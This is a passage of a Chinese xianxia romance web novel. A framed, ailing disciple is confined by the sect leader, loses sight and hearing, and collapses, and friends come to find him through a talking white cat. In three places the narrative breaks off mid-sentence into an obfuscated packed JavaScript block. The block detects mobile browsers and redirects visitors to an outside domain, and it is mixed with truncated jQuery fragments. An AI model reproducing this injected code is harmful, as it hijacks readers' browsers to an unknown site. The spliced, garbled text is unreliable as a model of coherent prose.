同一刻,被松竹押着的那名弟子果不其然慌张开口:“宗主明鉴,刚才的事和我没有任何关系!” “方才燕公子让我去取符纸,我取来后交到他手里后便没再管了,谁知道会发生那样的事……” 他一边说一边想到了什么,忽然从自己怀里又掏出一张符纸。 燕纾挑了挑眉,似乎有些讶异般,轻轻“啊”了一声:“连证据都给我准备好了。” 他话音刚落,便感觉扶着他的手一紧,紧接着,边叙木着一张脸瞪了他一眼。 “长老殿规定,在销春尽引魔入宗可视为大不敬,”边叙咬牙低声开口,“你能不能认真一点……” “那个弟子是长老殿门下吗?”燕纾忽然轻声开口。 边叙愣了一下,有些莫名其妙:“是,如何?” 燕纾摇了摇头:“无事。” 边叙皱了皱眉,只继续开口:“两年前大战后,长老殿对魔族深恶痛绝,你……” “我知道。” 燕纾转过头,眼皮微抬,望了他一眼,眼眸间却似乎带上些许兴味,“所以你瞧,这出戏真的好生有趣。” ……边叙这回直接甩开了他的手。 燕纾踉跄了一步,看着旁边的人黑着一张脸大步向后走去,抬手无辜地摸了摸鼻子。 他环顾了一圈,随意寻了一张桌子靠在一旁,懒洋洋抱着双臂继续看戏。 那个弟子将手中那枚符纸毕恭毕敬地呈到了谢镜泊面前。 “宗主,我刚刚偷偷留了一张符纸,想抽查前自己先练练,但还未曾使用。宗主若不信,可对比一下我这张和燕公子手中剩余的符纸,看看有何区别。” 谢镜泊抬手接过那张黄符,他转头望向燕纾,燕纾不明所以地眨眨眼,几秒后终于恍然大悟般“哦”了一声,在兜里掏了掏,拿出那一沓符纸递了过去。 谢镜泊却没有立刻接。 他眼眸微冷地盯了他几秒,终于缓缓开口:“你没有什么想说的吗?” 燕纾手举的有些酸。 他闻言疑惑地歪了下头,犹豫了一下小声开口。 “谢宗主现在不接吗?我手有点累,能先放下吗?” 他话音刚落,便见面前的人神色骤然冷了几分。 谢镜泊一言不发地伸出手,从中抽了一张符纸来,注入一点灵力,将两张纸同时甩向空中。 那名弟子手中的符纸没有什么反应,燕纾那张却一瞬燃烧起来,发出刺耳的嘶吼声。 同一刻响起的,还有那名弟子的尖叫声:“宗主,您看,我并未骗您!他定是想借着授课的机会将魔气沾染到众弟子身上,引诱他们入魔,唔——” 他话还没说完,忽然感觉喉头一紧,嗓子莫名再也说不出话来。 他不可置信地瞪大眼,“唔唔”地嗫啜了两声,转而愤怒地望向不远处的燕纾。 燕纾无辜地眨了眨眼。 他忽然意识到了什么,目光若有所思地移到一旁,下一秒,忽然感觉面前一道莫名的劲风刮过。 谢镜泊打断燕纾的目光,袍袖一挥,倏然将半空中的符咒驱散,抬起头冷冷地望着面前的人。 “你还有什么想说的吗,燕纾?” 明明是很紧张的局面,燕纾却倏忽从谢镜泊一系列动作间,品出了些许欲盖弥彰的意味。 他心情莫名好了几分,抱着双臂盯了谢镜泊几秒,终于慢悠悠开口。 “我若说不是我,谢宗主信吗?” 谢镜泊没有直接回答:“理由。” 燕纾似乎轻轻叹了一口气:“我没有这么做的原因,宗主也没有怀疑我的理由啊。” 他话音刚落,谢镜泊背在身后的手倏然一颤,指尖狠狠掐入伤口。 他仿佛整个人僵住了般,死死地盯着对面的人。 燕纾并没有注意到谢镜泊的异常。 他一边说一边摇摇晃晃站起身,上前两步,似乎想从谢镜泊手中拿过一张符纸,下一秒,忽然听到面前的人冷声开口。 “没有理由吗?” “之前四师兄在和你交手时,就感觉到你身上有魔族的气息。” 燕纾动作一顿。 他脸上的笑意似乎僵了一瞬,抬起头望向面前的人。 谢镜泊死死盯着他:“松一、松竹遇见你的那一天,也刚好是魔族余孽忽然莫名来袭。” 学堂内一片寂静,燕纾静静地盯了他几秒,忽然绽放开一个笑意:“谢宗主现在说这些,是什么意思?” “我需要你给我一个解释。”谢镜泊盯着他,冷声开口。 “我说了,我没有这么做的原因。”燕纾轻声开口,声音中似乎还带着些许笑意。 “不够。” 谢镜泊盯着他,一字一顿缓缓开口:“非我族类,其心必异,你来历不明,身份未知。” "燕纾,我需要知道,你和我们还是一心吗?” ——又是这句话。 燕纾心中莫名烦闷起来。 他脸上的笑意一寸寸消失,原本伸出去的手也一点点垂了下来。 “那我也没有办法了。” 他感觉自己又有些站不住了,后退两步,扶着旁边的桌子慢慢坐了下去。 “我没做过的事,怎么证明自己清白?更何况——” 一阵凉风从窗外吹过,燕纾捂唇咳了几声,似乎气力不济般,单手拄着下巴,似笑非笑地歪了歪头。 “谢宗主心中已有了答案,还来问我做什么?” 房间内静了一瞬,边叙皱眉不语,旁边的松一忍不住上前一步:“宗主,方才燕公子还救了我,我感觉这其中可能有什么误会……” 身后的松竹皱眉想要止住他的话语,但下一刻,谢镜泊微沉的声音忽然在学堂内响起。 “燕纾藐视门规,引魔入宗,处禁闭以惩戒。” “长老殿弟子不尊师长,肆意妄为,同样按门规处置。” 原本松了一口气的长老殿弟子不可置信地抬起头,想要辩解,却依旧死活都说不出一句话。 门外有论功堂的弟子走入堂内,有人来到燕纾身旁,刚想将人扶起,却忽然感觉哪里不对。 趴在桌子上的人晃了晃,身子一瞬软了下去. 他不知何时已失去了意识,原本虚虚搭在一旁的手腕一折,骤然落了下去,整个人也脱力地往下倒。 不远处一席玄衣的人倏然转过头,脚下瞬间一动,下一秒却看旁边的边叙倏然上前,将燕纾抱了个满怀。 谢镜泊静了一瞬,原本抬起的脚不着痕迹地又一点点落了回去。 下一刻,忽然听到旁边有人慌张开口:“宗主,您的手……” 谢镜泊似乎愣了愣。 他慢慢垂下眼,将方才一直背在身后的手拿到身前。 原本已经愈合的伤口不知何时再次开裂,暗红色的鲜血顺着手指一点点滴落,谢镜泊盯了几秒,没有处理也没有将手再背回去,只重新抬起眼望向边叙。 “他怎么了?” “他在发烧。” 边叙伸手按住燕纾的脉搏,皱眉抬起头:“宗主,这件事疑点太多,不如先……” 他话还没说完,却听谢镜泊直接打断了他的话:“带下去。” 边叙倏然抬起头。 谢镜泊半垂下眼,目光落在燕纾半垂在空中无力晃动的指尖上,闭了闭眼,又重复了一遍。 “带下去。” “师弟——”边叙忽然换了一个称呼。 他上前一步还没来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14745908|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得及说什么,却见谢镜泊倏然转过头,目光冰冷地望向他。 “四师兄,两年前发生的事,你忘了吗?” “但现在并不能直接确定他和魔族……”边叙咬牙,却被谢镜泊打断。 “他来历未知,所有的一切又都和魔族有千丝万缕的关系。” 谢镜泊眉眼沉沉,一字一顿地开口:“我犯过一次错,不能再拿这个不确定,让整个销春尽冒险。” 边叙声音倏然一滞。 他手指一寸寸松开,任由论功堂的弟子从他手中将燕纾接过,忽然一言不发地转过身,沉着脸大步向门口走去。 但他刚走没两步,却似乎又听到了什么,脚步一顿,有些错愕地转过头。 谢镜泊依旧垂手站在原地。 有鲜血顺着他指尖一点点滴落,他半身站在阴影里,垂着眼不知在想什么,似乎没有注意到边叙的目光。 边叙皱了皱眉,却到底重新转过身。 他环顾了一圈四周,调转了方向,径直向不远处押着长老殿弟子的人走去。 “宗主要求,这个弟子由我处置。”边叙伸手将他们拦住,低声开口。 “两位将他交给我吧。” · 另一边,禁闭处。 蜷缩在床上的人身子忽然颤了一下,弓着身子骤然攥紧胸前的衣襟,深重地喘息了几下,终于疲倦地睁开眼。 心口和胃里仿佛压了一块大石,坠得他吐息都阵阵发疼。 眼前更是一片模糊杂乱的白点,明明灭灭地惹得他头晕。 燕纾过了好一会儿,才意识到自己眼前被蒙了一层白纱。 他微微睁大眼,下意识想将这层纱摘下来,但手刚碰上,便被上面的灵力灼的低低地“嘶”了一声。 “关个禁闭还戴个白纱……”燕纾甩了甩手,小声开口,“谢镜泊这是什么恶趣味……” 他适应性极好,反正睁着眼也头晕,干脆不去管那白纱,蜷缩着身子在原地躺了好一会儿,才终于沉沉地吐了一口气,一点点慢慢撑起身。 恶心感依旧络绎不绝地从胸腹间涌上,燕纾不敢睁开眼,只小心翼翼地转了转头,却还是倏忽间出了一身冷汗。 四周并不算太冷,但燕纾身子还是控制不住轻轻打着颤。 他在冷死和疼死之间犹豫了几秒,叹了一口气,到底还是不情不愿坐起身,半眯着眼向四周摸索。 燕纾清楚禁闭处这个崖底荒芜一片,没有所谓床铺等一系列东西。 他也不担心自己会突然踩空,阖着眼肆意往周围摸索着,试图找一个稍微暖和点的地方,但下一秒—— ——一阵失重感突然袭来。 燕纾:?? 他不可置信地倏然睁大眼,手在周围慌乱地抓了一下,却依旧抓了个空。 落下去的一瞬间,燕纾咬牙闭上眼,心中只有一个念头。 ——下次再选屋子的时候,一定要先算一卦。 ——销春尽这里每一个地方都好像克他一样。 但预想中的疼痛却并没有传来,连失重感也只有一瞬。 燕纾周身一软,紧接着感觉自己似乎落到了一处柔软的毛绒堆里。 他怔了怔,下意识睁开眼,和面前模糊的沉香木刻的雕花床栏对了个正着。 ——这是什么……温柔乡。 ——销春尽现在关禁闭的地方……都这么惊悚了吗。 燕纾戴着白纱,控制不住打了个寒颤,脑海中各种乱七八糟的想法层出不穷。 他有些懵的慢慢爬坐起身,还没来得及细瞧,忽然听到身后传来一阵响动。 燕纾心中下意识一慌。 于是,谢镜泊一进门,便看到不知为何再次跪坐在地上的人倏然抬起手,欲盖弥彰般紧了紧自己的衣襟。 谢镜泊:…… 15.认错 “……你做什么?” 谢镜泊皱了皱眉,刚想上前一步,却见燕纾再次往后挪了几分,撑着身子倚在床脚,警惕地往他这边望来。 他似乎并没有认出来人是谁,谢镜泊顿了一下,后知后觉想起来一件事。 燕纾的五感……好像出了些问题。 · 昨日,论功堂。 【宗主,他的五感似乎有损。】 一个弟子站在床旁有些为难开口:【刚才您说要给他眼前蒙上白绫,我以为他是眼部有伤,就先检查了一下……】 【主要是视力和听力这两部分有些严重,大概是处于一种浑浑噩噩的状态,看不清晰、听不清明,其余三处目前只是略微有伤。】 那弟子看着谢镜泊垂着眼没有说话,只周身的气息却越发冰冷,心中狂跳不停。 ——不是说榻上这人来历不明,宗主似乎对他深恶痛绝,连刑罚都要自己亲自过问吗。 那弟子小心吐出一口气,下一秒,忽然听到谢镜泊再次开口:【能医治吗?】 那个弟子刚吐出去的气瞬间又吸了回来。 【我不太清楚,这位公子脉象有些太混乱了,具体为何如此、能否恢复,要等这位公子醒过来才知道。】 论功堂内一片寂静,只有窗外呼啸的风声不知疲倦地刮过。 下一秒,忽然听到谢镜泊沉声开口:【我知道了。】 那弟子绝望的连一会儿向自家父母告罪的家书都想好了,一时茫然抬头:【您说什么?】 谢镜泊没有看他,目光依旧落在床上昏迷的人身上:【无事,你先下去吧。】 那个弟子愣愣地转过身,忽然想到什么,再次转头。 【宗主……】 他的声音忽然卡在喉咙里。 他看到,身后一席玄衣的人手中握着一段白绫,慢慢俯下身,单手将榻上昏睡不醒的人自然托起,将那白绫缓缓覆在其上。 两人那一瞬间距离贴得极近,恍惚似一个极尽温柔的拥抱。 但下一秒,谢镜泊似有所感般,转头望了过来。 那个弟子倏然回过神,慌不择路地转过身,差点一头撞到门框上。 那一瞬间他脑海中只有一个想法。 ——传言不可尽信。 ——宗主看起来明明很在意那个人…… · 一阵轻微的咳嗽声将谢镜泊思绪拉回。 他倏然回过神,在燕纾望过来的一瞬间,下意识抬手给他施了一个障眼法。 施完以后他才反应过来,燕纾现在处于一个……半瞎半聋的状态,施了也没多大意义。 面前的人似乎确实没有意识到什么变化,依旧披散着衣袍跪坐在角落,过了几秒,有些犹豫地歪了歪头。 “……谢镜泊?” 他没有听到应答,迟疑着想要撑起身,神情间却忽然闪过一丝痛楚,急促地喘了一口气,捂住胸口歪歪斜斜地就往旁边倒。 谢镜泊瞳孔微缩,倏然上前一步将人扶住。 掌心间传来的冰凉触感让他不自觉皱了皱眉,他的目光落到燕纾衣摆下裸露出的微红脚趾上,手上忽然一个用力,单手揽着人的腰,将他直接扶坐到床上。 燕纾低低地“啊”了一声,下意识攀住他的手臂,似乎害怕般,紧紧攥着他的手腕。 谢镜泊抽了一下没有抽回来,没忍住皱眉低下头:“你……” 但他刚一开口,却忽然听到面前的人小声开口:“不对……你是,边峰主?” 谢镜泊的声音戛然而止。 他僵在原地,却见面前的人仿佛以为他是默认般,勾着他的手指轻轻地摇了摇。 “抱歉啊,我现在有点听不清,你如果想说什么,不如写在我手上?” 他一边说一边仰起头,笑眯眯摊开另一只手,甚至故意逗他般,屈了屈手指,神情间带着一丝微妙的餍足和愉悦。 ——这是对他从未有过的神情。 谢镜泊莫名心里有些发堵,不知是因为燕纾认错人还是他浑不在意的态度。 他过了几秒,才慢慢抬起手,翻过燕纾的掌心,缓缓写下几个字。 【你怎知是我?】 燕纾微微撇了撇嘴。 “谢镜泊才不会对我这么温柔。” 他话音刚落,便感觉攥着他的手倏然收紧。 燕纾一时间没反应过来,下意识“嘶”了一声,想要往回抽手:“你干什么,痛……” 攥着他的手一点点放松,却依旧按着没有收回,只继续在他掌心慢慢写着。 【你眼睛和听力是怎么回事?】 燕纾转着手腕,随口回道:“没什么,老毛病了,过一两天就会好的,不用在意。” 两指宽的白纱遮住了他大半张脸,他半歪着头,一头乌发用一根素簪随意揽着,几缕发丝垂落,只露出一双缀着些许笑意的薄唇来。 ——看起来似乎对如今这个浑噩状态并不意外,甚至算得上是习以为常。 谢镜泊却莫名从其间察觉到了他些许不安。 他皱了皱眉,开口还想问什么,面前的人却先一步开口转移了话题。 “说起来,这是何处?谢镜泊不是要关我禁闭吗,为何要带我来此?” 他一边说一边又想到了什么,抬手去碰眼前的白纱,再次被烫得缩了一下手:“嘶——还给我戴了一个这个东西。” 谢镜泊皱眉将他不安分的手拉回,慢慢写道:【像是一个暖阁,其余,不知。】 燕纾等了几秒,见“边叙”似乎没有再写的意思了,疑惑地抬起眼。 “不知什么?不知我为何来此?还是不知为何要给我戴这白绫——” 他话还没说完,便感觉掌心再次微微一沉。 【都不知。】 燕纾唇角抽了抽。 “那你怎么过来的?” 【误打误撞。】 ——这就是故意避而不谈了。 燕纾被他这一反应气乐了,咬牙抬起头,忽然却感觉“边叙”在他手上又写了一句话。 【昨日那符纸上的魔气非你所为,为何不解释。】 他用的是肯定的语序,燕纾愣了一下,也没有否认,只微微点了点头。 “是。” 面前的人扶着他的手颤了颤,又再次落下一句话:【为何?】 燕纾静静地“盯”了他几秒,忽然笑了一声:“边峰主有带昨日的那些符纸吗?” 面前的人似乎怔了怔,紧接着慢慢递过一张来。 燕纾抬手接过。 他指尖在那符纸上摩挲了几秒,忽然勾了勾唇,紧接着一抬手,将那符纸直接吞了下去。 谢镜泊猝不及防,反应过来后倏然站起身,抬手便想去拦:“你——” 但面前半聋的小瞎子已经将符纸咽了下去,捂唇咳了咳,苍白着一张脸笑着抬起头。 “无事。” 他似乎怕他不信般,笑眯眯地又伸出另一只手腕,示意他去按他的脉门。 “我真的没事,这符纸已然废了,就是一张普通的黄纸。” “我刚才吞下去时,将上面的魔气全部打散了。” 谢镜泊咬牙望着他没有动,燕纾见他不接,晃晃悠悠将手腕又放了下来。 “这符纸魔气浮于表面,很明显是匆促加上去的,并不牢固,不过一晚上便已消散了大半,很好引出。” 他话音刚落,便感觉手腕再次一紧。 【你证明就证明,吞它做什么。】 燕纾唇边忽然浮现出一抹狡黠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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燕纾慢半拍转过头,在最后一刻抬手接住,有些无奈地开口:“你知道我现在是个半聋半瞎的状态吧。” “我只知道你玩的很开心。” 樾为之哼笑一声:“你早知他是谢镜泊吧?” 燕纾没有立刻回答,忽然抬手覆上面上的白绫。 刚才吞下去的那一张符纸的灵力此时已悬在经脉,燕纾掌心聚力,终于借着那上面的灵力冲破了白绫上的封印。 他摘下白绫,眼眸依旧有些涣散,却带着遮掩不住的笑意。 “最开始……确实是不知的。” 他捂唇咳了咳,慢悠悠开口:“但很轻易……就猜到了。” ——那肌肤相近时脉搏间的跳动……做不得假。 燕纾垂了垂眼,语气间似乎多了几分愉悦:“你瞧,他方才的反应多有趣。” 樾为之冷笑:“所以你昨天明明能当场证明,却偏偏不说。” “你不会真是因为生谢镜泊的气了吧?” 燕纾顿了一下,紧接着又迅速弯了弯眼:“我生他的气做什么?” “我只是很好奇,他到底想做什么。” 他撑坐起身,双腿垂落在床侧,一晃一晃地动着,好似玩心大发的孩童。 “他昨天明显也看出来了并不是我,却依旧强行激怒我,将我关到了这里。” 燕纾抬起头,依旧模糊的视线环顾了一圈四周。 “若不是这样……我还不知道谢镜泊的寝室内,有这样一个温柔乡呢。” 16.昏迷 “谢镜泊寝殿?” 白猫翻着肚皮在床上蹬了蹬腿,传声符那头,樾为之狐疑开口:“你怎么知道?” 燕纾眼眸闪了闪,一时间没有说话。 谢镜泊身上一直有一种独特的味道,清冷淡漠,好似幽兰逢春。 让他莫名心安。 方才他嗅觉还未恢复时还迷迷糊糊没反应过来,再醒来时,一下子便闻到了房间内熟悉的淡香。 燕纾一直很喜欢这个味道。 不似他一般,因为常年吃药,整个人仿佛泡在药罐子里,萦绕着一股摆脱不掉的清苦药味。 燕纾从来不喜这一点,但他也能以此为由,理直气壮地往谢镜泊房间跑。 【二师弟给我改的药方又好苦,我喝不下。】燕纾捧着一碗黑漆漆的汤药,佯装委屈地抬头。 【能不能借小师弟房间用一下。】 他本是想借着这个由头赖在谢镜泊身边,没想到对面的人蹙眉放下书,犹豫了几秒低声开口:【大师兄是……想让我在这里喂你喝吗?】 正捏着鼻子试图往嘴里灌药的人一呛,瞬间咳了个半死。 【不,不用了。】 燕纾缓了一口气,望着对面不明所以的人,一瞬间有一种带坏小孩的愧疚感。 ——不似现在般,冷冰冰的像块石头,什么也不说。 · “你方才说什么?”对面的樾为之疑惑开口。 燕纾回过神,这才意识到自己方才说出了声。 他眨了眨眼,随手撸了一把怀里的白毛团子,笑眯眯开口:“无事……我就是闻出来的。” 樾为之眼尾抽了抽,没忍住咬牙:“……你是狗吗,能不能正经一点,我费劲千辛万苦把这个月的药给你送来不是为了听你鬼扯这些——” 燕纾随口应了一声,抬手在白猫胖的几乎摸不到的脖颈茸毛间摸索了一下,再摊开手,掌心间已多了一个白玉药瓶。 他将那唯一的一粒药丸放入口中,听着传声符那头的人再次絮叨起来,第一次庆幸自己如今是个半聋的状态。 药物入体带起一股暖流,燕纾轻轻吐了一口气 ,抬起头,再次仔细环顾了一圈四周。 谢镜泊不会无缘无故给他戴上一层白绫,甚至还欲盖弥彰地又施了一层障眼法。 这个房间一定有什么问题。 但燕纾的嗅觉和触觉才刚刚恢复,眼、耳处依旧难受的厉害,尤其是眼前,一阵阵白点错落闪过,惹得他几欲作呕。 他担心樾为之发现异常,一边扶着床慢慢下地,一边若无其事地开口。 “对了,之前长老殿那只乌鸦,如今怎么样了?” 一提到那只蠢鸟樾为之就忍不住生气,他哼了一声,“正在训,快了。” 燕纾睁着半瞎的眼摸索到床边,闻声好奇挑了挑眉:“怎么?难得碰上让你棘手的东西……是个硬骨头?” “不是。” 樾为之冷哼一声,漠然开口:“是个懒骨头——什么也教不会,还要一天三顿地伺候着。” 燕纾愣了一下,听着樾为之咬牙继续说着:“早知道当初就应该听你的直接把他一锅炖了——现在给他扔锅里,他连扑腾都懒得扑腾。” 燕纾没忍住轻笑出声,又欲盖弥彰地捂住唇咳了咳。 樾为之冷笑一声,又想到什么般,声音重新沉了下来。 “对了,之前你在边叙那里寻到的手稿,还有一些医书,我仔细翻了一遍,没有提到要寻的那味药。” 燕纾愣了一下,对于这个结果没有什么意外:“嗯,我知。” 他偏过头,冲着不远处的白猫招了招手,白猫颠颠地跑过来,落在他身后半步处,扑腾着一双短腿努力跟着,不让樾为之发现破绽。 对面的人对燕纾这个平淡的反应有些不满:“燕纾,这不是儿戏,你得抓紧时间,你清楚你如今的身体情况已经……” 樾为之后续的话语燕纾没太听清。 他有些气喘,扶着墙壁停住脚步,垂着眼慢慢平复着呼吸。 这个房间并不大,说话间他已经将整个房间摸索了一遍,除了差点把自己晕到吐以外,什么也没发现。 眼前明灭的白光不减反增,燕纾忍了半晌,还是没忍住捂住唇,有些难耐地干呕了几声。 “你怎么了?” 对面的樾为之敏锐地意识到了不对,他倏然停住话语,皱眉开口:“你在干什么?” “没事,就是转了一圈这个房间……” 燕纾心口发堵,一时间有些喘不上来气,按着胸口半弯下腰,断续开口:“就是刚才呛了一口气,一会儿就好……” 他话还没说完,忽然感觉隐脉处一阵剧痛传来,燕纾闷哼一声,脚下一软,猝不及防地直接跪坐在地。 “燕纾?”樾为之倏然站起身。 重物落地的闷响从传讯符那头传来,紧接着便是一片死一般的寂静。 “燕纾?”樾为之咬咬牙,继续平静开口。 “燕纾,你怎么样?哪里不舒服……” 燕纾耳中一片嗡鸣。 刚才那一下摔的不轻,撞的他本就难受的肺腑一阵阵发疼。 他没忍住低哼一声,抱着双臂控制不住地蜷缩起来,好半天才听到樾为之的呼喊,慢慢挤出一个笑意来。 “我没事……就是刚刚不小心绊了一下,一下子没站稳……” “燕宿泱。” 樾为之直接冷声打断了他的声音:“说实话。” 两边一时间都安静下来,樾为之手心出了一层冷汗,却强迫自己冷静下来,咬牙等着对面的人开口。 过了不知道多久,燕纾虚弱却带着些许笑意的声音终于传来。 “我感觉不太好……为之。” 侧躺在地板上的人叹了一口气,轻声开口:“我现在……看不清也听不清,心口发冷,有些憋闷。” ——他声音说到最后已几乎全是气音,何止憋闷,怕是已经上不来气。 樾为之愣了一下,意识到什么,整个人瞬间如坠冰窟。 他之前为了把燕纾的命吊住,用了太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14770323|156899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多猛药,到最后已经顾不得药性相克之类的事。 后来燕纾的命虽然保下了,但体内的药性互相纠缠,产生了许多难以预料的副作用。 到如今樾为之也不清楚,燕纾每次受伤或经脉受损时,会导致哪种副作用的发生。 此时他听着燕纾的话,瞬间明白了什么,咬牙开口:“……你五感出了问题。” “你刚才为什么不早跟我说——” 燕纾半阖着眼,微微勾了勾唇:“出现好一阵了……我以为再过一会儿就该好了。” 他感觉自己似乎昏睡过去了一瞬,再清醒时下意识含糊开口:“而且我都已经吃了药,想来无事……” ——吃了药,却并未有好转。 樾为之垂在身侧的手指倏然刺入掌心,他意识到燕纾如今的神志怕是已有些不清醒。 “燕纾,你先让自己清醒一点,你现在在哪里,周围有人吗……”樾为之咬牙,再一次恨销春尽门禁森严,让他无法立时过去。 对面的人没了声息,过了几秒,忽然惊醒般,急促地喘了几口气,低低呛咳起来。 “我有点困……为之。” 燕纾偏头咳了咳,感觉一股腥甜味在口腔中蔓延,眼前明明暗暗的光点也在一点点被黑暗吞噬。 这种感觉有些奇怪,但心口积压许久的闷痛却慢慢减轻了几分,除了周身有些发冷,却比清醒时还要舒服几分。 燕纾将自己又蜷缩了几分,轻轻吐出一口气。 “我先睡一会儿……别担心……” 一直跟在燕纾脚边打转的白猫见燕纾许久没有动静,亦步亦趋上前,伸出脑袋挤进蜷缩的人臂弯间。 燕纾的手虚虚搭在白猫背上,微微勾了勾唇,眼皮却不堪重负般疲倦地垂了下来。 他静了几秒,指尖忽然颤了一下,紧接着骤然失了力,顺着白猫柔软的背脊一寸寸滑落,颓然落了下去。 “燕纾,你等一下,先别睡——”那头樾为之焦急开口。 回应他的只有白猫不明所以的呼噜声。 · 另一边,边叙从论功堂出来,步履匆匆地往谢镜泊那里走去。 他在接到谢镜泊传音入密时还有些不明所以,但审完那个长老殿的弟子后,竟然还真的发现了些古怪的东西。 周围一片昏黑,只有头顶月亮明晃晃地坠着。 边叙心中着急,借着月光抄了一个近路,刚转过拐角,忽然感觉面前一道白影闪过。 “谁——”边叙倏然抬起头。 周围却一时间没了声息。 边叙皱眉,疑心自己太过紧张,下一秒却忽然听到一声似曾相识的猫叫。 他倏然转过头,望着眼前熟悉的白团子,眼睛蓦然睁大。 “你不是被大师兄……” 他后退一步,想到什么,不可置信地开口:“你——诈尸了?” 另一边,指挥着白猫的樾为之嘴角抽了抽。 ——燕纾如今在销春尽处境之艰难,已经到了需要装神弄鬼的地步了吗。 17.重穴 边叙入师门晚,他们的师父那时已近半退隐。 他虽不像谢镜泊那般是被燕纾一手带大,但也算是被半拉扯起来的。 于是那时,他便被正巧喜欢民间话本子的燕纾,灌输了一堆不知真假的鬼故事。 ——以至于边叙后来最喜欢的是读书,最惧怕的却是书中的各种鬼怪怨灵。 此时他看着那团白影重新躲到了竹林后,无声地咽了一口唾沫。 他想要绕道却又急着赶路,犹豫了两秒后,到底重新探出头。 ——正看到那模糊的白团动了动,往他这边又挪了两步。 边叙倏然站直身子,木着脸毫不犹豫地再退了两步。 他脑海中一瞬间从“灵体怨气不散”到“枉死借尸还魂”都过了一遍,只恨自己没把松一从山底下买的桃木剑带在身上。 “悬河注火,急急如律……”边叙咬了咬牙,背在身后的手迅速掐了一个诀,死死盯着对面。 他只待那一团不知是猫是鬼的白影出现在月光下,就立刻甩一个禁锢符过去,然后再赶紧冲进殿内去寻小师弟。 但那白影往前挪了两步,忽得立身子。 边叙看着他慢慢抬起头,头顶的两个尖角在月光下一点点放大—— 下一秒—— “咪?” 边叙抬手的动作一顿。 他不可置信地垂下眼。 面前一只胖的脚脖子都看不出的白猫从阴影里慢慢走出,窝着尾巴蹲坐在原地,望着他戒备的姿势,好奇歪了歪头。 紧接着倏然抬爪,以迅雷不及掩耳的速度冲到边叙身边——翻身打了一个滚。 边叙木然的表情似乎裂开了一瞬。 “你……” 他迟疑低下头,看着在自己脚边不停打滚的白猫,后知后觉意识到一件事。 ——按照民间的说法,怨灵或借尸还魂,身下是没有影子的。 而这只白猫,从刚一开始便胖的连影子都藏不住。 边叙闭了闭眼,心中庆幸幸好刚才那一幕没有被任何人看到。 下一秒,却听一个慢悠悠的声音从面前传来。 “边峰主作为一个修仙之人……刚才是在怕我吗?” 边叙:……??? 他倏然低下头,不可置信地望着面前正低头舔毛的白猫。 “你——” “你最开始都认出我是妖了,口吐人言有什么稀奇?” 另一边,樾为之灵力锁魂,操纵着那“白猫”不紧不慢地开口。 他声音不知为何有些奇怪,像是刻意变了个声线般,诡异却又莫名……契合。 边叙木着脸站在原地,在自己疯了还是终于见鬼了之间犹豫了几秒,却听面前的白猫再次悠悠开口。 “你没疯,虽然我很想一巴掌扒开看看你脑子都装的是些什么,但时间来不及了。” 那白猫抬起头,碧色与黄色的异瞳在月光下闪着幽幽的光。 “燕纾的状况有些不好,劳烦你过去帮一下忙。” 边叙愣了一下,神色倏然沉了下来。 · 有浓重的乌云慢慢聚拢,遮挡住月色,也遮挡住地面上掠过去的两道身影。 边叙跟在那白猫身后,忍不住再次开口:“宗主没有将大师兄关在禁闭崖底?” 他眉头紧皱:“这不可能,销春尽一应奖惩事务都是由论功堂负责,除了那锁灵崖便再没其他禁闭所在……” “我怎么知道,”白猫前腿一蹬,越过一处矮灌,幽幽开口,“谁知道你们宗主脑子里在想什么。” 边叙皱眉看了他一眼,樾为之感受到他的目光,意识到什么,微微冷笑了一声。 “怎么,你要是还想救燕纾,别说我对你们宗主大不敬,就算是一会儿我踩在你头上拿你当爬架,你也得忍下来。” 他一边说一边操纵着白猫又跃上殿侧的一个高台,在一处隐秘的暗窗旁停下,尾巴一甩踱了半圈:“到了,就是这里。” “正门你们宗主藏的太好我没去找,只能劳烦边峰主跟我一起翻窗户了。” 那暗窗是从里面扣上的,樾为之清楚,以这猫伸利爪都费劲的肉掌,是绝对扒拉不开的。 他蹲坐在一旁好整以暇地等着边叙帮他将暗窗打开,下一秒,却忽然感觉身子一轻。 白猫四爪在半空中迷茫地扑棱了一下,感觉一阵天旋地转。 边叙一手将窗扣震开,另一只手拎着他后脖颈处,面无表情地直接甩了进去。 樾为之:?? 他倏然一蹬腿,挣脱下来的同时咬牙开口:“你要是要敢再如此……” 边叙目光直直从眼前还没他小腿高的毛团上略过,一言不发。 樾为之感觉自己毛都炸开了。 ——他打定主意,一会儿燕纾醒来时自己绝对一声不发,不能让燕纾抓到他半分把柄。 另一边,边叙环顾了一圈四周,皱了皱眉。 他从来不知谢镜泊还有这个房间,乍一看却莫名觉得有些眼熟。 但他没时间细瞧,目光落到房间中央时,垂在身侧的手倏然攥紧。 燕纾一袭白衣散落身下,青白着脸,仿佛一块冷玉一般,感受不到半分气息,不知已昏迷了多久。 他整个人浑不受力,被扶起时,歪歪靠在边叙怀里,控制不住地就往下倒。 